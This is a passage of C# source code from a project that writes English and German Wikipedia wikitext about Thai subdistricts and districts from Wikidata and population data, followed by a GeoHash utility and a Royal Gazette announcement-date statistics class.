}
builder.AppendFormat(englishCulture,
"'''{0}''' ({1}) is a ''[[tambon]]'' (subdistrict) of {2}, in {3}, [[Thailand]]. In {4} it had a total population of {5:#,###,###} people.{6}",
entity.english,
nativeName,
WikiLink(links[amphoe], amphoe.english + " District"),
WikiLink(links[province], province.english + " Province"),
PopulationReferenceYear,
population,
PopulationDataDownloader.WikipediaReference(GeocodeHelper.ProvinceCode(entity.geocode), PopulationReferenceYear, language)
);
builder.AppendLine();
builder.AppendLine();
if ( creationHistory != null )
{
builder.AppendLine("==History==");
var parents = String.Join(", ", parentTambon.Select(x => links.Keys.Contains(x) ? WikiLink(links[x], x.english) : x.english));
if ( !parentTambon.Any() )
{
builder.AppendFormat(englishCulture, "The subdistrict was created effective {0:MMMM d, yyyy}.", creationHistory.effective);
}
else if ( creationHistory.subdivisions > 0 )
{
builder.AppendFormat(englishCulture, "The subdistrict was created effective {0:MMMM d, yyyy} by splitting off {1} administrative villages from {2}.", creationHistory.effective, creationHistory.subdivisions, parents);
}
else
{
builder.AppendFormat(englishCulture, "The subdistrict was created effective {0:MMMM d, yyyy} by splitting off from {1}.", creationHistory.effective, parents);
}
var gazetteRef = creationHistory.Items.FirstOrDefault(x => x is GazetteRelated) as GazetteRelated;
if ( gazetteRef != null )
{
var gazette = GlobalData.AllGazetteAnnouncements.FindAnnouncement(gazetteRef);
if ( gazette != null )
{
builder.AppendFormat("<ref>{0}</ref>", gazette.WikipediaReference(language));
}
builder.AppendLine();
}
}
builder.AppendLine("==Administration==");
builder.AppendLine();
builder.AppendLine("===Central administration===");
if ( muban.Any() )
{
builder.AppendFormat(englishCulture, "The ''tambon'' is subdivided into {0} administrative villages (''[[muban]]'').", muban.Count());
builder.AppendLine();
builder.AppendLine("{| class=\"wikitable sortable\"");
builder.AppendLine("! No.");
builder.AppendLine("! Name");
builder.AppendLine("! Thai");
foreach ( var mu in muban )
{
builder.AppendLine("|-");
var muEnglish = mu.english;
if ( links.Keys.Contains(mu) )
{
muEnglish = WikiLink(links[mu], mu.english);
}
var muNumber = mu.geocode % 100;
if ( muNumber < 10 )
{
builder.AppendFormat(englishCulture, "||{{{{0}}}}{0}.||{1}||{2}", muNumber, muEnglish, mu.name);
}
else
{
builder.AppendFormat(englishCulture, "||{0}.||{1}||{2}", muNumber, mu.english, mu.name);
}
builder.AppendLine();
}
builder.AppendLine("|}");
builder.AppendLine();
}
else
{
builder.AppendLine("The ''tambon'' has no administrative villages (''[[muban]]'').");
builder.AppendLine();
}
if ( lao.Any() )
{
var enWikipediaLink = new Dictionary<EntityType, String>()
{
{EntityType.ThesabanNakhon, "city (''[[Thesaban#City municipality|Thesaban Nakhon]]'')"},
{EntityType.ThesabanMueang, "town (''[[Thesaban#Town municipality|Thesaban Mueang]]'')"},
{EntityType.ThesabanTambon, "subdistrict municipality (''[[Thesaban#Subdistrict municipality|Thesaban Tambon]]'')"},
{EntityType.TAO, "[[Subdistrict administrative organization|subdistrict administrative organization (SAO)]]"},
};
builder.AppendLine("===Local administration===");
var laoTupel = new List<Tuple<String, String, String>>();
foreach ( var laoEntity in lao )
{
var laoEnglish = laoEntity.english;
if ( links.Keys.Contains(laoEntity) )
{
laoEnglish = WikiLink(links[laoEntity], laoEnglish);
}
laoTupel.Add(new Tuple<String, String, String>(enWikipediaLink[laoEntity.type], laoEnglish, laoEntity.FullName));
}
if ( lao.Count() == 1 )
{
var firstLao = laoTupel.First();
builder.AppendFormat(englishCulture, "The whole area of the subdistrict is covered by the {0} {1} ({2}).", firstLao.Item1, firstLao.Item2, firstLao.Item3);
builder.AppendLine();
}
else
{
builder.AppendFormat(englishCulture, "The area of the subdistrict is shared by {0} local governments.", lao.Count());
builder.AppendLine();
foreach ( var tupel in laoTupel )
{
builder.AppendFormat(englishCulture, "*the {0} {1} ({2})", tupel.Item1, tupel.Item2, tupel.Item3);
builder.AppendLine();
}
}
builder.AppendLine();
}
builder.AppendLine("==References==");
builder.AppendLine("{{reflist}}");
builder.AppendLine();
builder.AppendLine("==External links==");
builder.AppendFormat(CultureInfo.InvariantCulture, "*[http://www.thaitambon.com/tambon/{0} Thaitambon.com on {1}]", entity.geocode, entity.english);
builder.AppendLine();
// {{coord|19.0625|N|98.9396|E|source:wikidata-and-enwiki-cat-tree_region:TH|display=title}}
builder.AppendLine();
builder.AppendFormat(CultureInfo.InvariantCulture, "[[Category:Tambon of {0} Province]]", province.english);
builder.AppendLine();
builder.AppendFormat(CultureInfo.InvariantCulture, "[[Category:Populated places in {0} Province]]", province.english);
builder.AppendLine();
builder.AppendLine();
builder.AppendFormat(CultureInfo.InvariantCulture, "{{{{{0}-geo-stub}}}}", province.english.ToCamelCase());
return builder.ToString();
}
#endregion public methods
#region private methods
private delegate String CountAsString(Int32 count);
private AmphoeDataForWikipediaExport CalculateAmphoeData(Entity entity, Language language)
{
if ( entity.type.IsCompatibleEntityType(EntityType.Amphoe) )
{
var result = new AmphoeDataForWikipediaExport();
result.Province = _country.entity.FirstOrDefault(x => x.geocode == GeocodeHelper.ProvinceCode(entity.geocode));
result.AllTambon.AddRange(entity.entity.Where(x => x.type.IsCompatibleEntityType(EntityType.Tambon) && !x.IsObsolete));
result.LocalAdministrations.AddRange(entity.LocalGovernmentEntitiesOf(_localGovernments).Where(x => !x.IsObsolete));
var allEntities = result.AllTambon.ToList();
allEntities.AddRange(result.LocalAdministrations);
if ( CheckWikiData )
{
foreach ( var keyValuePair in RetrieveWikpediaLinks(allEntities, language) )
{
result.WikipediaLinks[keyValuePair.Key] = keyValuePair.Value;
}
}
var counted = entity.CountAllSubdivisions(_localGovernments);
if ( !counted.ContainsKey(EntityType.Muban) )
{
counted[EntityType.Muban] = 0;
}
foreach ( var keyValuePair in counted )
{
result.CentralAdministrationCountByEntity[keyValuePair.Key] = keyValuePair.Value;
}
result.MaxPopulation = 0;
foreach ( var tambon in result.AllTambon )
{
var populationData = tambon.population.FirstOrDefault(x => x.Year == PopulationReferenceYear && x.source == PopulationDataSourceType.DOPA);
if ( populationData != null )
{
result.MaxPopulation = Math.Max(result.MaxPopulation, populationData.TotalPopulation.total);
}
}
foreach ( var keyValuePair in Entity.CountSubdivisions(result.LocalAdministrations) )
{
result.LocalAdministrationCountByEntity[keyValuePair.Key] = keyValuePair.Value;
}
return result;
}
else
{
return null;
}
}
/// <summary>
/// Creates the administration section for German Wikipedia.
/// </summary>
/// <param name="entity">Entity to export.</param>
/// <returns>German Wikipedia text of administration section.</returns>
private String AmphoeToWikipediaGerman(Entity entity)
{
var numberStrings = new Dictionary<Int32, String>() {
{ 1, "eine" },
{ 2, "zwei" },
{ 3, "drei" },
{ 4, "vier" },
{ 5, "fünf" },
{ 6, "sechs" },
{ 7, "sieben" },
{ 8, "acht" },
{ 9, "neun" },
{ 10, "zehn" },
{ 11, "elf" },
{ 12, "zwölf" },
};
var wikipediaLink = new Dictionary<EntityType, String>()
{
{EntityType.ThesabanNakhon, "[[Thesaban#Großstadt|Thesaban Nakhon]]"},
{EntityType.ThesabanMueang, "[[Thesaban#Stadt|Thesaban Mueang]]"},
{EntityType.ThesabanTambon, "[[Thesaban#Kleinstadt|Thesaban Tambon]]"},
{EntityType.TAO, "[[Verwaltungsgliederung Thailands#Tambon-Verwaltungsorganisationen|Tambon-Verwaltungsorganisationen]]"},
};
var amphoeData = CalculateAmphoeData(entity, Language.German);
var germanCulture = new CultureInfo("de-DE");
String headerBangkok = "== Verwaltung ==" + Environment.NewLine;
String textBangkok = "Der Bezirk {0} ist in {1} ''[[Khwaeng]]'' („Unterbezirke“) eingeteilt." + Environment.NewLine + Environment.NewLine;
String headerAmphoe = "== Verwaltung ==" + Environment.NewLine + "=== Provinzverwaltung ===" + Environment.NewLine;
String textAmphoe = "Der Landkreis {0} ist in {1} ''[[Tambon]]'' („Unterbezirke“ oder „Gemeinden“) eingeteilt, die sich weiter in {2} ''[[Muban]]'' („Dörfer“) unterteilen." + Environment.NewLine + Environment.NewLine;
String textAmphoeSingle = "Der Landkreis {0} ist in genau einen ''[[Tambon]]'' („Unterbezirk“ oder „Gemeinde“) eingeteilt, der sich weiter in {2} ''[[Muban]]'' („Dörfer“) unterteilt." + Environment.NewLine + Environment.NewLine;
String tableHeaderAmphoe =
"{{| class=\"wikitable\"" + Environment.NewLine +
"! Nr." + Environment.NewLine +
"! Name" + Environment.NewLine +
"! Thai" + Environment.NewLine +
"! Muban" + Environment.NewLine +
"! Einw.{0}" + Environment.NewLine;
String tableHeaderBangkok =
"{{| class=\"wikitable\"" + Environment.NewLine +
"! Nr." + Environment.NewLine +
"! Name" + Environment.NewLine +
"! Thai" + Environment.NewLine +
"! Einw.{0}" + Environment.NewLine;
String tableEntryAmphoe = "|-" + Environment.NewLine +
"||{0}.||{1}||{{{{lang|th|{2}}}}}||{3}||{4}" + Environment.NewLine;
String tableEntryBangkok = "|-" + Environment.NewLine +
"||{0}.||{1}||{{{{lang|th|{2}}}}}||{4}" + Environment.NewLine;
String tableFooter = "|}" + Environment.NewLine;
String headerLocal = "=== Lokalverwaltung ===" + Environment.NewLine;
String textLocalSingular = "Es gibt eine Kommune mit „{0}“-Status ''({1})'' im Landkreis:" + Environment.NewLine;
String textLocalPlural = "Es gibt {0} Kommunen mit „{1}“-Status ''({2})'' im Landkreis:" + Environment.NewLine;
String taoWithThesaban = "Außerdem gibt es {0} „[[Verwaltungsgliederung Thailands#Tambon-Verwaltungsorganisationen|Tambon-Verwaltungsorganisationen]]“ ({{{{lang|th|องค์การบริหารส่วนตำบล}}}} – Tambon Administrative Organizations, TAO)" + Environment.NewLine;
String taoWithoutThesaban = "Im Landkreis gibt es {0} „[[Verwaltungsgliederung Thailands#Tambon-Verwaltungsorganisationen|Tambon-Verwaltungsorganisationen]]“ ({{{{lang|th|องค์การบริหารส่วนตำบล}}}} – Tambon Administrative Organizations, TAO)" + Environment.NewLine;
String entryLocal = "* {0} (Thai: {{{{lang|th|{1}}}}})";
String entryLocalCoverage = " bestehend aus {0}.";
String entryLocalCoverageTwo = " bestehend aus {0} und {1}.";
String tambonCompleteSingular = "dem kompletten Tambon {0}";
String tambonPartiallySingular = "Teilen des Tambon {0}";
String tambonCompletePlural = "den kompletten Tambon {0}";
String tambonPartiallyPlural = "den Teilen der Tambon {0}";
CountAsString countAsString = delegate(Int32 count)
{
String countAsStringResult;
if ( !numberStrings.TryGetValue(count, out countAsStringResult) )
{
countAsStringResult = count.ToString(germanCulture);
}
return countAsStringResult;
};
var result = String.Empty;
if ( entity.type == EntityType.Khet )
{
result = headerBangkok +
String.Format(germanCulture, textBangkok, entity.english, countAsString(amphoeData.CentralAdministrationCountByEntity[EntityType.Khwaeng])) +
String.Format(germanCulture, tableHeaderBangkok, PopulationDataDownloader.WikipediaReference(GeocodeHelper.ProvinceCode(entity.geocode), PopulationReferenceYear, Language.German));
}
else if ( amphoeData.CentralAdministrationCountByEntity[EntityType.Tambon] == 1 )
{
result = headerAmphoe +
String.Format(germanCulture, textAmphoeSingle, entity.english, countAsString(amphoeData.CentralAdministrationCountByEntity[EntityType.Tambon]), countAsString(amphoeData.CentralAdministrationCountByEntity[EntityType.Muban])) +
String.Format(germanCulture, tableHeaderAmphoe, PopulationDataDownloader.WikipediaReference(GeocodeHelper.ProvinceCode(entity.geocode), PopulationReferenceYear, Language.German));
}
else
{
result = headerAmphoe +
String.Format(germanCulture, textAmphoe, entity.english, countAsString(amphoeData.CentralAdministrationCountByEntity[EntityType.Tambon]), countAsString(amphoeData.CentralAdministrationCountByEntity[EntityType.Muban])) +
String.Format(germanCulture, tableHeaderAmphoe, PopulationDataDownloader.WikipediaReference(GeocodeHelper.ProvinceCode(entity.geocode), PopulationReferenceYear, Language.German));
}
foreach ( var tambon in amphoeData.AllTambon )
{
if ( entity.type == EntityType.Khet )
{
result += WikipediaTambonTableEntry(tambon, amphoeData, tableEntryBangkok, germanCulture);
}
else
{
result += WikipediaTambonTableEntry(tambon, amphoeData, tableEntryAmphoe, germanCulture);
}
}
result += tableFooter + Environment.NewLine;
if ( amphoeData.LocalAdministrationCountByEntity.Any() )
{
result += headerLocal;
var check = new List<EntityType>()
{
EntityType.ThesabanNakhon,
EntityType.ThesabanMueang,
EntityType.ThesabanTambon,
EntityType.TAO,
};
foreach ( var entityType in check )
{
Int32 count = 0;
if ( amphoeData.LocalAdministrationCountByEntity.TryGetValue(entityType, out count) )
{
if ( entityType == EntityType.TAO )
{
if ( amphoeData.LocalAdministrationCountByEntity.Keys.Count == 1 )
{
result += String.Format(germanCulture, taoWithoutThesaban, countAsString(count));
}
else
{
result += String.Format(germanCulture, taoWithThesaban, countAsString(count));
}
}
else
{
if ( count == 1 )
{
result += String.Format(germanCulture, textLocalSingular, entityType.Translate(Language.German), wikipediaLink[entityType]);
}
else
{
result += String.Format(germanCulture, textLocalPlural, countAsString(count), entityType.Translate(Language.German), wikipediaLink[entityType]);
}
}
foreach ( var localEntity in amphoeData.LocalAdministrations.Where(x => x.type == entityType) )
{
result += WikipediaLocalAdministrationTableEntry(
localEntity,
amphoeData,
entryLocal,
tambonCompleteSingular,
tambonCompletePlural,
tambonPartiallySingular,
tambonPartiallyPlural,
entryLocalCoverage,
entryLocalCoverageTwo,
germanCulture);
}
result += Environment.NewLine;
}
}
}
return result;
}
/// <summary>
/// Creates the administration section for English Wikipedia.
/// </summary>
/// <param name="entity">Entity to export.</param>
/// <returns>English Wikipedia text of administration section.</returns>
private String AmphoeToWikipediaEnglish(Entity entity)
{
var englishCulture = new CultureInfo("en-US");
var amphoeData = CalculateAmphoeData(entity, Language.English);
String headerBangkok = "== Administration ==" + Environment.NewLine;
String textBangkok = "The district {0} is subdivided into {1} subdistricts (''[[Khwaeng]]'')." + Environment.NewLine + Environment.NewLine;
String headerAmphoe = "== Administration ==" + Environment.NewLine + "=== Central administration ===" + Environment.NewLine;
String textAmphoe = "The district {0} is subdivided into {1} subdistricts (''[[Tambon]]''), which are further subdivided into {2} administrative villages (''[[Muban]]'')." + Environment.NewLine + Environment.NewLine;
String textAmphoeSingleTambon = "The district {0} is subdivided into {1} subdistrict (''[[Tambon]]''), which is further subdivided into {2} administrative villages (''[[Muban]]'')." + Environment.NewLine + Environment.NewLine;
String tableHeaderAmphoe =
"{{| class=\"wikitable sortable\"" + Environment.NewLine +
"! No." + Environment.NewLine +
"! Name" + Environment.NewLine +
"! Thai" + Environment.NewLine +
"! Villages" + Environment.NewLine +
"! [[Population|Pop.]]{0}" + Environment.NewLine;
String tableHeaderBangkok =
"{{| class=\"wikitable sortable\"" + Environment.NewLine +
"! No." + Environment.NewLine +
"! Name" + Environment.NewLine +
"! Thai" + Environment.NewLine +
"! [[Population|Pop.]]{0}" + Environment.NewLine;
String tableEntryAmphoe = "|-" + Environment.NewLine +
"||{0}.||{1}||{{{{lang|th|{2}}}}}||{3}||{4}" + Environment.NewLine;
String tableEntryBangkok = "|-" + Environment.NewLine +
"||{0}.||{1}||{{{{lang|th|{2}}}}}||{3}" + Environment.NewLine;
String tableFooter = "|}" + Environment.NewLine;
String headerLocal = "=== Local administration ===" + Environment.NewLine;
String textLocalSingular = "There is one {0} in the district:" + Environment.NewLine;
String textLocalPlural = "There are {0} {1} in the district:" + Environment.NewLine;
String entryLocal = "* {0} (Thai: {{{{lang|th|{1}}}}})";
String entryLocalCoverage = " consisting of {0}.";
String entryLocalCoverageTwo = " consisting of {0} and {1}.";
String tambonCompleteSingular = "the complete subdistrict {0}";
String tambonPartiallySingular = "parts of the subdistrict {0}";
String tambonCompletePlural = "the complete subdistrict {0}";
String tambonPartiallyPlural = "parts of the subdistricts {0}";
var enWikipediaLink = new Dictionary<EntityType, String>()
{
{EntityType.ThesabanNakhon, "city (''[[Thesaban#City municipality|Thesaban Nakhon]]'')"},
{EntityType.ThesabanMueang, "town (''[[Thesaban#Town municipality|Thesaban Mueang]]'')"},
{EntityType.ThesabanTambon, "subdistrict municipality (''[[Thesaban#Subdistrict municipality|Thesaban Tambon]]'')"},
{EntityType.TAO, "[[Subdistrict administrative organization|subdistrict administrative organization (SAO)]]"},
};
var enWikipediaLinkPlural = new Dictionary<EntityType, String>()
{
{EntityType.ThesabanNakhon, "cities (''[[Thesaban#City municipality|Thesaban Nakhon]]'')"},
{EntityType.ThesabanMueang, "towns (''[[Thesaban#Town municipality|Thesaban Mueang]]'')"},
{EntityType.ThesabanTambon, "subdistrict municipalities (''[[Thesaban#Subdistrict municipality|Thesaban Tambon]]'')"},
{EntityType.TAO, "[[Subdistrict administrative organization|subdistrict administrative organizations (SAO)]]"},
};
var result = String.Empty;
if ( entity.type == EntityType.Khet )
{
result = headerBangkok +
String.Format(englishCulture, textBangkok, entity.english, amphoeData.CentralAdministrationCountByEntity[EntityType.Khwaeng]) +
String.Format(englishCulture, tableHeaderBangkok, PopulationDataDownloader.WikipediaReference(GeocodeHelper.ProvinceCode(entity.geocode), PopulationReferenceYear, Language.English));
}
else if ( amphoeData.CentralAdministrationCountByEntity[EntityType.Tambon] == 1 )
{
result = headerAmphoe +
String.Format(englishCulture, textAmphoeSingleTambon, entity.english, amphoeData.CentralAdministrationCountByEntity[EntityType.Tambon], amphoeData.CentralAdministrationCountByEntity[EntityType.Muban]) +
String.Format(englishCulture, tableHeaderAmphoe, PopulationDataDownloader.WikipediaReference(GeocodeHelper.ProvinceCode(entity.geocode), PopulationReferenceYear, Language.English));
}
else
{
result = headerAmphoe +
String.Format(englishCulture, textAmphoe, entity.english, amphoeData.CentralAdministrationCountByEntity[EntityType.Tambon], amphoeData.CentralAdministrationCountByEntity[EntityType.Muban]) +
String.Format(englishCulture, tableHeaderAmphoe, PopulationDataDownloader.WikipediaReference(GeocodeHelper.ProvinceCode(entity.geocode), PopulationReferenceYear, Language.English));
}
foreach ( var tambon in amphoeData.AllTambon )
{
if ( entity.type == EntityType.Khet )
{
result += WikipediaTambonTableEntry(tambon, amphoeData, tableEntryBangkok, englishCulture);
}
else
{
result += WikipediaTambonTableEntry(tambon, amphoeData, tableEntryAmphoe, englishCulture);
}
}
result += tableFooter + Environment.NewLine;
if ( amphoeData.LocalAdministrationCountByEntity.Any() )
{
result += headerLocal;
var check = new List<EntityType>()
{
EntityType.ThesabanNakhon,
EntityType.ThesabanMueang,
EntityType.ThesabanTambon,
EntityType.TAO,
};
foreach ( var entityType in check )
{
Int32 count = 0;
if ( amphoeData.LocalAdministrationCountByEntity.TryGetValue(entityType, out count) )
{
if ( count == 1 )
{
result += String.Format(englishCulture, textLocalSingular, enWikipediaLink[entityType]);
}
else
{
result += String.Format(englishCulture, textLocalPlural, count, enWikipediaLinkPlural[entityType]);
}
foreach ( var localEntity in amphoeData.LocalAdministrations.Where(x => x.type == entityType) )
{
result += WikipediaLocalAdministrationTableEntry(
localEntity,
amphoeData,
entryLocal,
tambonCompleteSingular,
tambonCompletePlural,
tambonPartiallySingular,
tambonPartiallyPlural,
entryLocalCoverage,
entryLocalCoverageTwo,
englishCulture);
}
result += Environment.NewLine;
}
}
}
return result;
}
private static String WikiLink(String link, String title)
{
if ( link == title )
{
return "[[" + title + "]]";
}
else
{
return "[[" + link + "|" + title + "]]";
}
}
private String WikipediaTambonTableEntry(Entity tambon, AmphoeDataForWikipediaExport amphoeData, String format, CultureInfo culture)
{
var subCounted = tambon.CountAllSubdivisions(_localGovernments);
var muban = 0;
if ( !subCounted.TryGetValue(EntityType.Muban, out muban) )
{
muban = 0;
}
var citizen = 0;
var populationData = tambon.population.FirstOrDefault(x => x.Year == PopulationReferenceYear && x.source == PopulationDataSourceType.DOPA);
if ( populationData != null )
{
citizen = populationData.TotalPopulation.total;
}
var geocodeString = (tambon.geocode % 100).ToString(culture);
if ( tambon.geocode % 100 < 10 )
{
geocodeString = "{{0}}" + geocodeString;
}
String mubanString;
if ( muban == 0 )
{
mubanString = "-";
}
else if ( muban < 10 )
{
mubanString = "{{0}}" + muban.ToString(culture);
}
else
{
mubanString = muban.ToString();
}
var citizenString = citizen.ToString("###,##0", culture);
for ( int i = citizenString.Length ; i < amphoeData.MaxPopulation.ToString("###,##0", culture).Length ; i++ )
{
citizenString = "{{0}}" + citizenString;
}
var romanizedName = tambon.english;
var link = String.Empty;
if ( amphoeData.WikipediaLinks.TryGetValue(tambon, out link) )
{
romanizedName = WikiLink(link, romanizedName);
}
return String.Format(culture, format, geocodeString, romanizedName, tambon.name, mubanString, citizenString);
}
private static String WikipediaLocalAdministrationTableEntry(
Entity localEntity,
AmphoeDataForWikipediaExport amphoeData,
String entryLocal,
String tambonCompleteSingular,
String tambonCompletePlural,
String tambonPartiallySingular,
String tambonPartiallyPlural,
String entryLocalCoverageOne,
String entryLocalCoverageTwo,
CultureInfo culture)
{
var result = String.Empty;
var english = localEntity.english;
var link = String.Empty;
if ( amphoeData.WikipediaLinks.TryGetValue(localEntity, out link) )
{
english = WikiLink(link, english);
}
result += String.Format(culture, entryLocal, english, localEntity.FullName);
if ( localEntity.LocalGovernmentAreaCoverage.Any() )
{
var coverage = localEntity.LocalGovernmentAreaCoverage.GroupBy(x => x.coverage).Select(group => new
{
Coverage = group.Key,
TambonCount = group.Count()
});
var textComplete = String.Empty;
var textPartially = String.Empty;
if ( coverage.Any(x => x.Coverage == CoverageType.completely) )
{
var completeTambon = localEntity.LocalGovernmentAreaCoverage.
Where(x => x.coverage == CoverageType.completely).
Select(x => amphoeData.Province.FlatList().FirstOrDefault(y => y.geocode == x.geocode));
var tambonString = String.Join(", ", completeTambon.Select(x => x.english));
if ( coverage.First(x => x.Coverage == CoverageType.completely).TambonCount == 1 )
{
textComplete = String.Format(culture, tambonCompleteSingular, tambonString);
}
else
{
textComplete = String.Format(culture, tambonCompletePlural, tambonString);
}
}
if ( coverage.Any(x => x.Coverage == CoverageType.partially) )
{
var completeTambon = localEntity.LocalGovernmentAreaCoverage.
Where(x => x.coverage == CoverageType.partially).
Select(x => amphoeData.Province.FlatList().FirstOrDefault(y => y.geocode == x.geocode));
var tambonString = String.Join(", ", completeTambon.Select(x => x.english));
if ( coverage.First(x => x.Coverage == CoverageType.partially).TambonCount == 1 )
{
textPartially = String.Format(culture, tambonPartiallySingular, tambonString);
}
else
{
textPartially = String.Format(culture, tambonPartiallyPlural, tambonString);
}
}
if ( !String.IsNullOrEmpty(textPartially) && !String.IsNullOrEmpty(textComplete) )
{
result += String.Format(culture, entryLocalCoverageTwo, textComplete, textPartially);
}
else
{
result += String.Format(culture, entryLocalCoverageOne, textComplete + textPartially);
}
}
result += Environment.NewLine;
return result;
}
private Dictionary<Entity, String> RetrieveWikpediaLinks(IEnumerable<Entity> entities, Language language)
{
var result = new Dictionary<Entity, String>();
if ( _api == null )
{
_api = new WikibaseApi("https://www.wikidata.org", "TambonBot");
_helper = new WikiDataHelper(_api);
}
var actualEntities = entities.Select(x => x.CurrentEntity(_country));
foreach ( var entity in actualEntities.Where(x => x.wiki != null && !String.IsNullOrEmpty(x.wiki.wikidata)) )
{
var item = _helper.GetWikiDataItemForEntity(entity);
if ( item != null )
{
var links = item.getSitelinks();
String languageLink;
String wikiIdentifier = String.Empty;
switch ( language )
{
case Language.German:
wikiIdentifier = WikiBase.SiteLinkGermanWikipedia;
break;
case Language.English:
wikiIdentifier = WikiBase.SiteLinkEnglishWikipedia;
break;
case Language.Thai:
wikiIdentifier = WikiBase.SiteLinkThaiWikipedia;
break;
}
if ( item.getSitelinks().TryGetValue(wikiIdentifier, out languageLink) )
{
result[entity] = languageLink;
}
}
}
return result;
}
#endregion private methods
}
internal class AmphoeDataForWikipediaExport
{
public Dictionary<Entity, String> WikipediaLinks
{
get;
private set;
}
public Dictionary<EntityType, Int32> CentralAdministrationCountByEntity
{
get;
private set;
}
public Dictionary<EntityType, Int32> LocalAdministrationCountByEntity
{
get;
private set;
}
public Int32 MaxPopulation
{
get;
set;
}
public List<Entity> AllTambon
{
get;
private set;
}
public List<Entity> LocalAdministrations
{
get;
private set;
}
public Entity Province
{
get;
set;
}
public AmphoeDataForWikipediaExport()
{
WikipediaLinks = new Dictionary<Entity, String>();
CentralAdministrationCountByEntity = new Dictionary<EntityType, Int32>();
LocalAdministrationCountByEntity = new Dictionary<EntityType, Int32>();
AllTambon = new List<Entity>();
LocalAdministrations = new List<Entity>();
}
}
}<file_sep>/AHGeo/GeoHash.cs
using System;
using System.Collections;
using System.Collections.Generic;
using System.Text;
namespace De.AHoerstemeier.Geo
{
// Based on http://code.google.com/p/geospatialweb/source/browse/trunk/geohash/src/Geohash.java
static internal class GeoHash
{
private static Char[] _Digits = { '0', '1', '2', '3', '4', '5', '6', '7', '8',
'9', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'j', 'k', 'm', 'n', 'p',
'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' };
private static int _NumberOfBits = 6 * 5;
private static Dictionary<Char,Int32> _LookupTable = CreateLookup();
private static Dictionary<Char,Int32> CreateLookup()
{
Dictionary<Char, Int32> result = new Dictionary<char, Int32>();
Int32 i = 0;
foreach (Char c in _Digits)
{
result[c]=i;
i++;
}
return result;
}
private static double GeoHashDecode(BitArray bits, double floorValue, double ceilingValue)
{
Double middle = 0;
Double floor = floorValue;
Double ceiling = ceilingValue;
for (Int32 i = 0; i < bits.Length; i++)
{
middle = (floor + ceiling) / 2;
if (bits[i])
{
floor = middle;
}
else
{
ceiling = middle;
}
}
return middle;
}
private static BitArray GeoHashEncode(double value, double floorValue, double ceilingValue)
{
BitArray result = new BitArray(_NumberOfBits);
Double floor = floorValue;
Double ceiling = ceilingValue;
for (Int32 i = 0; i < _NumberOfBits; i++)
{
Double middle = (floor + ceiling) / 2;
if (value >= middle)
{
result[i] = true;
floor = middle;
}
else
{
result[i] = false;
ceiling = middle;
}
}
return result;
}
private static String EncodeBase32(String binaryStringValue)
{
StringBuilder buffer = new StringBuilder();
String binaryString = binaryStringValue;
while (binaryString.Length > 0)
{
String currentBlock = binaryString.Substring(0, 5).PadLeft(5,'0');
if (binaryString.Length > 5)
{
binaryString = binaryString.Substring(5, binaryString.Length - 5);
}
else
{
binaryString = String.Empty;
}
Int32 value = Convert.ToInt32(currentBlock, 2);
buffer.Append(_Digits[value]);
}
String result = buffer.ToString();
return result;
}
internal static GeoPoint DecodeGeoHash(String value)
{
StringBuilder lBuffer = new StringBuilder();
foreach (Char c in value)
{
if (!_LookupTable.ContainsKey(c))
{
throw new ArgumentException("Invalid character " + c);
}
Int32 i = _LookupTable[c] + 32;
lBuffer.Append(Convert.ToString(i,2).Substring(1));
}
BitArray lonset = new BitArray(_NumberOfBits);
BitArray latset = new BitArray(_NumberOfBits);
//even bits
int j = 0;
for (int i = 0; i < _NumberOfBits * 2; i += 2)
{
Boolean isSet = false;
if (i < lBuffer.Length)
{
isSet = lBuffer[i] == '1';
}
lonset[j] = isSet;
j++;
}
//odd bits
j = 0;
for (int i = 1; i < _NumberOfBits * 2; i += 2)
{
Boolean isSet = false;
if (i < lBuffer.Length)
{
isSet = lBuffer[i] == '1';
}
latset[j] = isSet;
j++;
}
double lLongitude = GeoHashDecode(lonset, -180, 180);
double lLatitude = GeoHashDecode(latset, -90, 90);
GeoPoint lResult = new GeoPoint(lLatitude,lLongitude);
return lResult;
}
internal static String EncodeGeoHash(GeoPoint data, Int32 accuracy)
{
BitArray latitudeBits = GeoHashEncode(data.Latitude, -90, 90);
BitArray longitudeBits = GeoHashEncode(data.Longitude, -180, 180);
StringBuilder buffer = new StringBuilder();
for (Int32 i = 0; i < _NumberOfBits; i++)
{
buffer.Append((longitudeBits[i]) ? '1' : '0');
buffer.Append((latitudeBits[i]) ? '1' : '0');
}
String binaryValue = buffer.ToString();
String result = EncodeBase32(binaryValue);
result = result.Substring(0, accuracy);
return result;
}
}
}
<file_sep>/AHTambon/StatisticsAnnouncementDates.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public class StatisticsAnnouncementDates : AnnouncementStatistics
{
#region properties
private FrequencyCounter mDaysBetweenSignAndPublication = new FrequencyCounter();
private FrequencyCounter mDaysBetweenPublicationAndEffective = new FrequencyCounter();
public RoyalGazetteList StrangeAnnouncements { get; private set; }
#endregion
#region constructor
public StatisticsAnnouncementDates()
{
StartYear = 1883;
EndYear = DateTime.Now.Year;
StrangeAnnouncements = new RoyalGazetteList();
}
public StatisticsAnnouncementDates(Int32 iStartYear, Int32 iEndYear)
{
StartYear = iStartYear;
EndYear = iEndYear;
}
#endregion
#region methods
protected override void Clear()
{
base.Clear();
mDaysBetweenPublicationAndEffective = new FrequencyCounter();
mDaysBetweenSignAndPublication = new FrequencyCounter();
StrangeAnnouncements = new RoyalGazetteList();
}
protected override void ProcessAnnouncement(RoyalGazette iEntry)
{
Int32 lWarningOffsetDays = 345;
Boolean lProcessed = false;
if ( iEntry.Publication.Year > 1 )
{
if ( iEntry.Effective.Year > 1 )
{
lProcessed = true;
TimeSpan iTime = iEntry.Publication.Subtract(iEntry.Effective);
mDaysBetweenPublicationAndEffective.IncrementForCount(iTime.Days, 0);
if ( Math.Abs(iTime.Days) > lWarningOffsetDays )
{
StrangeAnnouncements.Add(iEntry);
}
}
if ( iEntry.Sign.Year > 1 )
{
lProcessed = true;
TimeSpan iTime = iEntry.Publication.Subtract(iEntry.Sign);
mDaysBetweenSignAndPublication.IncrementForCount(iTime.Days, 0);
if ( (iTime.Days < 0) | (iTime.Days > lWarningOffsetDays) )
{
if ( !StrangeAnnouncements.Contains(iEntry) )
{
StrangeAnnouncements.Add(iEntry);
}
}
}
if ( lProcessed )
{
NumberOfAnnouncements++;
}
}
}
public override String Information()
{
StringBuilder lBuilder = new StringBuilder();
lBuilder.AppendLine(NumberOfAnnouncements.ToString() + " Announcements");
lBuilder.AppendLine();
